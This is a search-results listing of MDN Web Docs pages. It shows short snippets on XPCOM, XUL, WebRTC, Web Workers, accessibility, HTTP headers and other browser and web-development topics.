... but xpcom also provides several tools and libraries that enable the loading and manipulation of these components, services that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or having to recreate the application.
...And 85 more matches
Window - Web APIs
WebAPIWindow
a window for a given document can be obtained using the document.defaultview property.
...generally, anything that can't reasonably pertain to a tab pertains to the window instead.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/window" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">window</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructors see also the dom interfaces.
...And 85 more matches
JavaScript Daemons Management - Archive of obsolete content
this more complex version of it is nothing but a big and scalable collection of methods for the daemon constructor.
...so the minidaemon framework will remain the recommended way for simple animations, because daemon without its collection of methods is essentially a clone of it.
...it also offers an alternative way to pass the this object to the callback functions (see the "this" problem for details).
...And 84 more matches
source-editor.jsm
the source-editor.jsm javascript code module implements an editor specifically tailored for editing source code; its primary purpose is to provide support for web developer tools to display and edit web site code.
... method overview initialization and destruction void destroy(); void init(element aelement, object aconfig, function acallback); search operations number find(string astring, [optional] object options); number findnext(boolean awrap); number findprevious(boolean awrap); event management void addeventlistener(string aeventtype, function acallback); void removeeventlistener(string aeventtype, function acallback); undo stack operations bo...
...olean canredo(); boolean canundo(); void endcompoundchange(); boolean redo(); void resetundo(); void startcompoundchange(); boolean undo(); display management operations void focus(); number gettopindex(); boolean hasfocus(); void settopindex(number atopindex); content management operations number getcharcount(); string getindentationstring(); string getlinedelimiter(); number getlinecount(); number getlineend(number alineindex, boolean aincludedelimiter); number getlinestart(number alineindex); string getmode(); string gettext([optional] number astart, [optional] number aend); string getselectedtext(); ...
...And 84 more matches
Enhanced Extension Installation - Archive of obsolete content
background there are several flaws with extension1 installation in firefox2 1.0, including: it is very difficult for a third party application with its own managed install process to install an extension into firefox.
... first it must locate the firefox executable, then run it with the -install-global-extension command line flag, which installs from a xpi into the firefox application directory.
... aside from the work of locating the firefox executable in the first place (which varies from platform to platform), this is very limiting because: it forces the third party application to package its firefox integration hooks as a xpi.
...And 83 more matches
Fundamental text and font styling - Learn web development
it starts at the top left of the content area (or the top right, in the case of rtl language content), and flows towards the end of the line.
... note: if the above paragraph leaves you feeling confused, then no matter — go back and review our box model article, to brush up on the box model theory, before carrying on.
... the css properties used to style text generally fall into two categories, which we'll look at separately in this article: font styles: properties that affect the font that is applied to the text, affecting what font is applied, how big it is, whether it is bold, italic, etc.
...And 83 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
we also need to learn a bit about component lifecycle, to understand when these dom nodes get mounted and and unmounted from the dom and how we can access them.
...so far, we've seen how components can share data using props, and communicate with their parents using events and two-way data binding.
... now we will see how components can also expose methods and variables.
...And 83 more matches
Gecko info for Windows accessibility vendors
this faq explains how makers of windows screen readers, voice dictation packages and magnification software can support gecko-based software.
... definitions here are some basic definitions that you'll need for this document to make sense: gecko: the rendering engine for firefox, thunderbird, nvu, mozilla seamonkey and other applications.
...it supports html, xhtml, cascading style sheets (css) and the document object model (dom).
...And 82 more matches
Plug-in Basics - Plugins
next » how plug-ins are used plug-ins offer a rich variety of features that can increase the flexibility of gecko-based browsers.
... plug-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins.
... with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
...And 82 more matches
Grammar and types - JavaScript
javascript is case-sensitive and uses the unicode character set.
... let früh = "foobar" but, the variable früh is not the same as früh because javascript is case sensitive.
... in javascript, instructions are called statements and are separated by semicolons (;).
...And 82 more matches
Handling common JavaScript problems - Learn web development
the trouble with javascript historically, javascript was plagued with cross-browser compatibility problems — back in the 1990s, the main browser choices back then (internet explorer and netscape) had scripting implemented in different language flavours (netscape had javascript, ie had jscript and also offered vbscript as an option), and while at least javascript and jscript were compatible to some degree (both based on the ecmascri...
...pt specification), things were often implemented in conflicting, incompatible ways, causing developers many nightmares.
...this is one of the main reasons why libraries like jquery came into existence — to abstract away differences in browser implementations (e.g.
...And 81 more matches
Drawing and Event Handling - Plugins
it is drawn in a target called a drawable, which corresponds to either the browser window or an off-screen bitmap.
... a drawable can be defined in several ways, depending on the platform.
... windowless plug-ins can be opaque or transparent.
...And 81 more matches
Streams - Plugins
although a single stream is associated with one specific instance of a plug-in, a plug-in can have more than one stream object per instance.
... streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser.
... streams produced by the browser can be automatically sent to or requested by the plug-in instance.
...And 81 more matches
Index - Firefox Developer Tools
you can use them to examine, edit, and debug html, css, and javascript.
... 2 3d view html, tools, web development, web development:tools when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
...the dom hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.
...And 81 more matches
Accessibility documentation index - Accessibility
2 aria aria, accessibility, html accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities.
... it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies 3 aria screen reader implementors guide aria, accessibility this is just a guide.
... 4 aria test cases aria, accessibility for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in.
...And 81 more matches
Signing an XPI - Archive of obsolete content
note: these instructions are for how to test with a self-signed certificate.
... see signing an extension for a practical guide.
... introduction this article describes how to sign your own firefox extensions with a code-signing certificate on a windows platform.
...And 80 more matches
XUL Structure - Archive of obsolete content
when you type the url of an html page into the browser's address field, the browser locates the web site and downloads the content.
...the tree is then converted into a set of objects that can be displayed on the screen.
...this means that the same css properties may be used to style both html and xul, and many of the features can be shared between both.
...And 80 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average video game from a technical point of view, in terms of how the main loop should run.
... present, accept, interpret, calculate, repeat the goal of every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting from those acts.
...these games present two images to the user; they accept their click (or touch); they interpret the input as a success, failure, pause, menu interaction, etc.; finally, they calculate an updated scene resulting from that input.
...And 79 more matches
Working with Svelte stores - Learn web development
components can subscribe to stores and receive notifications when their values change.
... objective: learn how to use svelte stores using stores we will create an alert component that shows notifications on screen, which can receive messages from any component.
... in this case, the alert component is independent from the rest — it is not a parent or child of any other — so the messages don't fit into the component hierarchy.
...And 79 more matches
AddonManager
the addonmanager object is the global api used to access information about add-ons installed in the application and to manipulate them.
... the majority of the methods are asynchronous meaning that results are delivered through callbacks passed to the method.
... the callbacks will be called just once but that may be before or after the method returns.
...And 79 more matches
Basic concepts - Web APIs
because it lets you create web applications with rich query abilities regardless of network availability, these applications can work both online and offline.
... indexeddb is useful for applications that store a large amount of data (for example, a catalog of dvds in a lending library) and applications that don't need persistent internet connectivity to work (for example, mail clients, to-do lists, and notepads).
...so while you can access stored data within a domain, you cannot access data across different domains.
...And 79 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
in countries that are signatories to the berne convention (which is most countries, including japan, china, india, australia, the americas, and all of europe) this right is automatic, and requires no declaration or registration.
...as far as the author is concerned, this is an unrelated application of the work.
... this is what we might call the reader’s use of the work, and it requires no permission from the author.
...And 78 more matches
Profiling with the Firefox Profiler
it can be used in a variety of situations where external profilers are not available, and can provide more information and insight into what the browser is doing.
... you can check out some frequently asked questions about the firefox profilers.
...timeline the timeline has several rows of tracing markers (colored segments) which indicate interesting events.
...And 78 more matches
WAI-ARIA basics - Learn web development
previous overview: accessibility next following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
... wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
... objective: to gain familiarity with wai-aria, and how it can be used to provide useful additional semantics to enhance accessibility where required.
...And 77 more matches
Command line crash course - Learn web development
a large number of tools can be used by typing commands into the command line; many come pre-installed on your system, and a huge number of others are installable from package registries.
...viewing the command line for the first time can be a daunting experience: a blank screen and a blinking cursor, with very little obvious help available on what to do.
... on the surface they’re far from welcoming but there’s a lot you can do with them, and we promise that, with a bit of guidance and practise, using them will get easier!
...And 77 more matches
Mozilla accessibility architecture
we do not currently support the carbon accessibility model for apple's os x.
...you may also wish to read gecko info for windows accessibility vendors, a primer for vendors of 3rd party accessibility software, on how msaa clients can utilize gecko's support.
...examples of accessible role constants are role_button, role_checkbox and role_list, although they can have slightly different names and values in each api.
...And 77 more matches
Applying styles and colors - Web APIs
here we will explore the canvas options we have at our disposal to make our drawings a little more attractive.
...if we want to apply colors to a shape, there are two important properties we can use: fillstyle and strokestyle.
... the valid strings you can enter should, according to the specification, be css <color> values.
...And 77 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
this article is a primer introducing each of the ways css color can be used in html.
... fortunately, adding color to your html is actually really easy to do, and you can add color to nearly anything.
... we're going to touch on most of what you'll need to know when using color, including a list of what you can color and what css properties are involved, how you describe colors, and how to actually use colors both in stylesheets and in scripts.
...And 77 more matches
Performance fundamentals - Web Performance
in the context of open web apps, this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.
...application launch is one particularly important case discussed in more detail below.
... responsiveness is important simply because people get frustrated and angry when they're ignored.
...And 77 more matches
Drag Operations - Web APIs
the draggable attribute in a web page, there are certain cases where a default drag behavior is used.
... note: when an element is made draggable, text or other elements within it can no longer be selected in the normal way by clicking and dragging with the mouse.
... within the dragstart event, you can specify the drag data, the feedback image, and the drag effects, all of which are described below.
...And 76 more matches
Using Web Workers - Web APIs
the worker thread can perform tasks without interfering with the user interface.
... in addition, they can perform i/o using xmlhttprequest (although the responsexml and channel attributes are always null).
... once created, a worker can send messages to the javascript code that created it by posting messages to an event handler specified by that code (and vice versa).
...And 76 more matches
Index - HTTP
WebHTTPHeadersIndex
an http header consists of its case-insensitive name followed by a colon ':', then by its value (without line breaks).
... 5 accept-language content negotiation, http, http header, reference, request header the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred.
...browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting).
...And 75 more matches
nsIFile
xpcom/io/nsifile.idlscriptable an instance of this interface is a cross-platform representation of a location in the filesystem.
... with an nsifile you can navigate to ancestors or descendants without having to deal with the different path separators used on different platforms, query the state of any file or directory at the position represented by the nsifile and create, move or copy items in the filesystem.
... an nsifile can be retrieved by either instantiating an nsilocalfile using a platform specific path string or by using cross-platform locations retrieved from the directory service.
...And 74 more matches
Functions - JavaScript
a function in javascript is similar to a procedure—a set of statements that performs a task or calculates a value, but for a procedure to qualify as a function, it should take some input and return an output where there is some obvious relationship between the input and the output.
... to use a function, you must define it somewhere in the scope from which you wish to call it.
... defining functions function declarations a function definition (also called a function declaration, or function statement) consists of the function keyword, followed by: the name of the function.
...And 74 more matches
JXON - Archive of obsolete content
there are some cases in which the whole content of an xml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
... in these cases jxon could represent the most practical way.
... if you want a complete bidirectional jxon library (modelled on the json global object), skip to the dedicated paragraph (but please read the note about the const statement compatibility).
...And 73 more matches
Gecko Compatibility Handbook - Archive of obsolete content
- some inline examples were removed because of technical limitations.
...gecko since 1997, much of the web's content has been developed for microsoft internet explorer 4 or netscape navigator 4.
... internet explorer 4 and netscape navigator 4 share support for a large part of the html 3.2 standard and basic javascript.
...And 73 more matches
Introduction to automated testing - Learn web development
previous overview: cross browser testing next manually running tests on several browsers and devices, several times per day, can get tedious, and time-consuming.
... objective: to provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier.
... automation makes things easy throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more.
...And 73 more matches
Chrome registration
chrome is the set of user interface elements of the application window that are outside the window's content area.
... toolbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome.
... mozilla locates and reads the root chrome.manifest file for extensions and themes.
...And 73 more matches
RTCPeerConnection - Web APIs
the rtcpeerconnection interface represents a webrtc connection between the local computer and a remote peer.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,2...
..." y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.propertiesalso inherits properties from: eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates.connectionstate the read-only connectionstate property of the rtcpeerconnection interface indicates the current state of the peer co...
...And 73 more matches
Event reference
events can represent everything from basic user interactions to automated notifications of things happening in the rendering model.
... this article offers a list of events that can be sent; some are standard events defined in official specifications, while others are events used internally by specific browsers; for example, mozilla-specific events are listed so that add-ons can use them to interact with the browser.
... most common categories resource events event name fired when error a resource failed to load.
...And 72 more matches
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
an alphabetical list of all elements is provided in the sidebar on every element's page as well as this one.
... <meta> the html <meta> element represents metadata that cannot be represented by other html meta-related elements, like <base>, <link>, <script>, <style> or <title>.
...there can be only one <body> element in a document.
...And 72 more matches
Handling common accessibility problems - Learn web development
when we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example: visually impaired people using screen readers or magnification/zoom to access text people with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality.
... people with hearing impairments relying on captions/subtitles or other text alternatives for audio/video content.
... in a way, this whole module is about accessibility — cross browser testing makes sure that your sites can be used by as many people as possible.
...And 71 more matches
Introducing a complete toolchain - Learn web development
previous overview: understanding client-side tools next in the final couple of articles in the series we will solidify your tooling knowledge by walking you through the process of building up a sample case study toolchain.
...in this article we'll introduce the case study, set up our development environment, and set up our code transformation tools.
... objective: to solidify what we've learnt so far by working through a complete toolchain case study.
...And 71 more matches
OS.File for the main thread
let decoder = new textdecoder(); // this decoder can be reused for several reads let promise = os.file.read("file.txt"); // read the complete file as an array promise = promise.then( function onsuccess(array) { return decoder.decode(array); // convert this array to a text } ); this example requires firefox 18 or a more recent version.
...it uses an atomic write to ensure that the file is not modified if, for some reason, the write cannot complete (typically because the computer is turned off, the battery runs out, or the application is stopped.) let encoder = new textencoder(); // this encoder can be reused for several writes let array = encoder.encode("this is some text"); // convert the text to an array let promise = os.file.writeatomic("file.txt", array, // write the array atomically to "file.txt", using as temporary {tmppath: "file.txt.tmp"}); // buffer "file.txt.
... the following variant does the same thing but will fail if "file.txt" already exists: let encoder = new textencoder(); // this encoder can be reused for several writes let array = encoder.encode("this is some text"); // convert the text to an array let promise = os.file.writeatomic("file.txt", array, // write the array atomically to "file.txt", using as temporary {tmppath: "file.txt.tmp", nooverwrite: true}); // buffer "file.txt.tmp".
...And 71 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
because webrtc doesn't mandate a specific transport mechanism for signaling during the negotiation of a new peer connection, it's highly flexible.
... however, despite that flexibility in transport and communication of signaling messages, there's still a recommended design pattern you should follow when possible, known as perfect negotiation.
... after the first deployments of webrtc-capable browsers, it was realized that parts of the negotiation process were more complicated than they needed to be for typical use cases.
...And 71 more matches
Using DTMF with WebRTC - Web APIs
webrtc currently ignores these payloads; this is because webrtc's dtmf support is primarily intended for use with legacy telephone services that rely on dtmf tones to perform tasks such as: teleconferencing systems menu systems voicemail systems entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user a...
...s part of their user experience, since users are typically used to hearing their phone play the tones audibly.
... sending dtmf on an rtcpeerconnection a given rtcpeerconnection can have multiple media tracks sent or received on it.
...And 71 more matches
Window.open() - Web APIs
WebAPIWindowopen
syntax var window = window.open(url, windowname, [windowfeatures]); parameters url a domstring indicating the url of the resource to be loaded.
... this can be a path or url to an html page, image file, or any other resource that is supported by the browser.
... windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname.
...And 71 more matches
The Joy of XUL - Archive of obsolete content
this guide is designed to introduce application developers and their managers to xul so they can not only understand why mozilla's platform is based on it, but how they might adopt it for their own use.
... xul (pronounced "zool") is mozilla's xml-based user interface language that lets you build feature rich cross-platform applications that can run connected to or disconnected from the internet.
... these applications are easily customized with alternative text, graphics, and layout so they can be readily branded or localized for various markets.
...And 70 more matches
WebGL best practices - Web APIs
webgl is a complicated api, and it's often not obvious what the recommended ways to use it are.
...you can rely on this document to guide your choice of approach, and ensure you're on the right track no matter what browser or hardware your users run.
... general topics address and eliminate webgl errors your application should run without generating any webgl errors (as returned by geterror).
...And 70 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in this article, we'll make use of information introduced in the previous articles in our webxr tutorial series to construct an example which animates a rotating cube around which the user can move freely using a vr headset, keyboard, and/or mouse.
... this example demonstrates this by showing the canvas on the screen, even when presenting a scene as an immersive display using an xr device.
...this example also imports the webxr polyfill maintained by the immersive web working group, which is the team responsible for the webxr api's specification.
...And 70 more matches
Image file type and format guide - Web media technologies
ft icon image/x-icon .ico, .cur chrome, edge, firefox, internet explorer, opera, safari jpeg joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp chrome, edge, firefox, internet explorer, opera, safari png portable network graphics image/png .png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abbreviation for each format links to a longer description of the format, its capabili...
...for example, an rgb color depth of 8 indicates that each of the red, green, and blue components are represented by an 8-bit value.
...conceptually similar to the animated gif format which has been in use for decades, apng is more capable in that it supports a variety of color depths, whereas animated gif supports only 8-bit indexed color.
...And 70 more matches
Mozilla release FAQ - Archive of obsolete content
no guarantee of factuality in this faq is made, and it is maintained by pat gunn, who is not affiliated with netscape.
...mozilla is a project to continue netscape communicator as an open project.
... the project is maintained by employees of netscape (now a division of aol), red hat, some other companies, as well as contributors from the community.
...And 69 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
web video text tracks format (webvtt) is a format for displaying timed text tracks (such as subtitles or captions) using the <track> element.
...where you can use spaces you can also use tabs.
... a webvtt file (.vtt) contains cues, which can be either a single line or multiple lines, as shown below: webvtt 00:01.000 --> 00:04.000 - never drink liquid nitrogen.
...And 69 more matches
HTTP headers - HTTP
WebHTTPHeaders
an http header consists of its case-insensitive name followed by a colon (:), then by its value.
... custom proprietary headers have historically been used with an x- prefix, but this convention was deprecated in june 2012 because of the inconveniences it caused when nonstandard fields became standard in rfc 6648; others are listed in an iana registry, whose original content was defined in rfc 4229.
... headers can be grouped according to their contexts: general headers apply to both requests and responses, but with no relation to the data transmitted in the body.
...And 69 more matches
Digital audio concepts - Web media technologies
as an object vibrates, it causes the molecules surrounding it to vibrate as well.
... the sounds a person hears every day are, then, actually vibrations in the air which cause the inner workings of the ear.
...in order to represent a sound wave in a way computers can manipulate and work with (let alone transmit over a network), the sound has to be converted into a digital form.
...And 69 more matches
The "codecs" parameter in common media types - Web media technologies
at a fundamental level, you can specify the type of a media file using a simple mime type, such as video/mp4 or audio/mpeg.
... however, many media types—especially those that support video tracks—can benefit from the ability to more precisely describe the format of the data within them.
... for that reason, the codecs parameter can be added to the mime type describing media content.
...And 69 more matches
HTML: A good basis for accessibility - Learn web development
previous overview: accessibility next a great deal of web content can be made accessible just by making sure the correct hypertext markup language elements are used for the correct purpose at all times.
... this article looks in detail at how html can be used to ensure maximum accessibility.
...— you'll keep seeing a common theme: the importance of using semantic html (sometimes called posh, or plain old semantic html).
...And 67 more matches
HTML: A good basis for accessibility - Learn web development
previous overview: accessibility next a great deal of web content can be made accessible just by making sure the correct hypertext markup language elements are used for the correct purpose at all times.
... this article looks in detail at how html can be used to ensure maximum accessibility.
...— you'll keep seeing a common theme: the importance of using semantic html (sometimes called posh, or plain old semantic html).
...And 67 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
setinterval() execute a specified block of code repeatedly with a fixed time delay between each call.
... it's important to know that you can (and often will) run other code before a settimeout() call executes, or between iterations of setinterval().
... depending on how processor-intensive these operations are, they can delay your async code even further, as any async code will execute only after the main thread is available.
...And 67 more matches
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
... the trouble with html and css some of the trouble with html and css lies with the fact that both languages are fairly simple, and often developers don't take them seriously, in terms of making sure the code is well-crafted, efficient, and semantically describes the purpose of the features on the page.
... in the worst cases, javascript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive).
...And 67 more matches
context-menu - Archive of obsolete content
usage instead of manually adding items when particular contexts occur and then removing them when those contexts go away, you bind items to contexts, and the adding and removing is automatically handled for you.
...when the user invokes the context menu, all of the items bound to the current context are automatically added to the menu.
...likewise, any items that were previously in the menu but are not bound to the current context are automatically removed from the menu.
...And 66 more matches
Venkman Introduction - Archive of obsolete content
a powerful new tool is available for web developers for use in many mozilla-based products, including firefox, mozilla suite and netscape 7.x.
... the javascript debugger, also called venkman, has been a part of the mozilla browser and the community of web and script developers there for some time.
... this article provides an overview and some practical examples of using the javascript debugger in web applications and web page scripting.
...And 66 more matches
XPCOM Interfaces - Archive of obsolete content
calling native objects by using xul we can build a complex user interface.
... we can attach scripts which modify the interface and perform tasks.
... however, there are quite a number of things that cannot be performed directly with javascript.
...And 66 more matches
Creating the Component Code
in the subsequent chapters, we can begin to work on the example weblock component functionality itself.
... use the calculator (after learning long division) you have to write a fair amount of code to create a component library that gets loaded into xpcom.
...as in grade school when you learned long division, better tools like calculators come after you figure out what's actually happening.
...And 66 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
the setinterval() method, offered on the window and worker interfaces, repeatedly calls a function or executes a code snippet, with a fixed time delay between each call.
... it returns an interval id which uniquely identifies the interval, so you can remove it later by calling clearinterval().
...if you want to enable this functionality on that browser, you must use a polyfill (see the callback arguments section).
...And 66 more matches
Archived Mozilla and build documentation - Archive of obsolete content
activex control for hosting netscape plug-ins in ie microsoft has removed support for netscape plug-ins from ie 5.5 sp 2 and beyond.
... automated testing tips and tricks automatic mozilla configurator ankh8 automatically handle failed asserts in debug builds as of 2004-12-8, it is now possible to automatically handle failed asserts in debug builds of mozilla for windows.
... blackconnect blackwood bonsai it is a tool that lets you perform queries on the contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period.
...And 65 more matches
Index - Game development
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
...a testament to what can be done with javascript, webgl, and related technologies.
... 4 index meta found 74 pages: 5 introduction to html5 game development (summary) firefox os, games, html5, mobile games built with html5 work on smartphones, tablets, pcs and smart tvs.update your game whenever you want.players can play the game anywhere, anytime.
...And 65 more matches
Looping code - Learn web development
previous overview: building blocks next programming languages are very useful for rapidly completing repetitive tasks, from multiple basic calculations to just about any other situation where you've got a lot of similar items of work to complete.
...as well as being associated with popular breakfast cereals, roller coasters, and musical production, they are also a critical concept in programming.
... let's consider the case of a farmer that is making sure he has enough food to feed his family for the week.
...And 65 more matches
Server-side web frameworks - Learn web development
previous overview: first steps next the previous article showed you what the communication between web clients and servers looks like, the nature of http requests and responses, and what a server-side web application needs to do in order to respond to requests from a web browser.
... with this knowledge under our belt, it's time to explore how web frameworks can simplify these tasks, and give you an idea of how you'd choose a framework for your first server-side web application.
... objective: to understand how web frameworks can simplify development/maintenance of server-side code and to get readers thinking about selecting a framework for their own development.
...And 65 more matches
Sqlite.jsm
you don't need to worry about caching created statement instances, destroying them when you are done, etc.
...use of synchronous storage apis is discouraged because they block the main thread.
...since sqlite.jsm manages statements for you, it can perform intelligent actions like purging all cached statements not in use, freeing memory in the process.
...And 65 more matches
Index
found 42 pages: # page tags and summary 1 localization at mozilla landing, localization, mozilla, translation, l10n localization (l10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture.
... these resources are for anyone with an interest in the technical aspects involved in localization.
... 2 application translation with mercurial android, draft, editing, firefox, lightning, localization, mercurial, seamonkey, translate, patch, thunderbird first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions.
...And 65 more matches
DMD
you can dump that information to file, giving a profile of the live heap blocks at that point in time.
...you can dump that information to file, giving a profile of the heap usage for the entire session.
... this is good for finding parts of the code that cause high heap churn, e.g.
...And 65 more matches
Introduction to XPCOM for the DOM
furthermore, a class can be de declared to be "abstract" if it declares some methods but does not implement them entirely.
... pushing this concept to its maximum, a class can be "purely virtual" if it declares methods without implementing any of them.
... such a class is called an interface.
...And 65 more matches
Starting up and shutting down a WebXR session - Web APIs
assuming you're already familiar with 3d graphics in general and webgl in particular, taking that next bold step into mixed reality—the idea of presenting artificial scenery or objects in addition to or in place of the real world—is not overly complicated.
... before you can begin to render your augmented or virtual reality scenario, you need to create and set up the webxr session, and you should know how to shut it down properly as well.
... webxr polyfill the team designing the webxr specification has published a webxr polyfill which you can use to simulate webxr on browsers which don't have support for the webxr apis.
...And 65 more matches
StringView - Archive of obsolete content
the aims of this library are: to create a c-like interface for strings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times wh...
...noffset : 0, ntranscrtype = 15; if (sencoding) { this.encoding = sencoding.tostring(); } encswitch: switch (this.encoding) { case "utf-8": fputoutptcode = stringview.pututf8charcode; fgetoutptchrsize = stringview.getutf8charlength; ftaview = uint8array; break encswitch; case "utf-16": fputoutptcode = stringview.pututf16charcode; fgetoutptchrsize = stringview.getutf16charlength; ftaview = uint16array; break encswitch; case "utf-32": ftaview = uint32array; ...
...ntranscrtype &= 14; break encswitch; default: /* case "ascii", or case "binarystring" or unknown cases */ ftaview = uint8array; ntranscrtype &= 14; } typeswitch: switch (typeof vinput) { case "string": /* the input argument is a primitive string: a new buffer will be created.
...And 64 more matches
Introduction to client-side frameworks - Learn web development
objective: to understand how client-side javascript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one.
... a brief history when javascript debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents.
... the web became not just a place to read things, but to do things.
...And 64 more matches
nsIWebProgressListener
method overview void onlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, [optional] in unsigned long aflags); void onprogresschange(in nsiwebprogress awebprogress, in nsirequest arequest, in long acurselfprogress, in long amaxselfprogress, in long acurtotalprogress, in long amaxtotalprogress); void onsecuritychange(in nsiwebprogress awebprogress, in nsirequest areq...
...uest, in unsigned long astate); void onstatechange(in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astateflags, in nsresult astatus); void onstatuschange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage); constants state transition flags these flags indicate the various states that requests may transition through as they are being loaded.
... for any given request, onstatechange() is called once with the state_start flag, zero or more times with the state_transferring flag or once with the state_redirecting flag, and then finally once with the state_stop flag.
...And 64 more matches
Working with objects - JavaScript
a property's value can be a function, in which case the property is known as a method.
... in addition to objects that are predefined in the browser, you can define your own objects.
... objects overview objects in javascript, just as in many other programming languages, can be compared to objects in real life.
...And 64 more matches
Manifest Files - Archive of obsolete content
a package can contain any kinds of files and may be split into subdirectories for different parts of the package.
... a package can be stored either as a directory or as a jar archive.
... manifest files a manifest file describes a package and maps its location on disk to a chrome url.
...And 63 more matches
LiveConnect Overview - Archive of obsolete content
this chapter describes using liveconnect technology to let java and javascript code communicate with each other.
...when programming in javascript, you can use a wrapper object to access methods and fields of the java object; calling a method or accessing a property on the wrapper results in a call on the java object.
... on the java side, javascript objects are wrapped in an instance of the class netscape.javascript.jsobject and passed to java.
...And 63 more matches
Setting up your own test automation environment - Learn web development
we will also look at how to integrate your local testing environment with commercial tools like the ones discussed in the previous article.
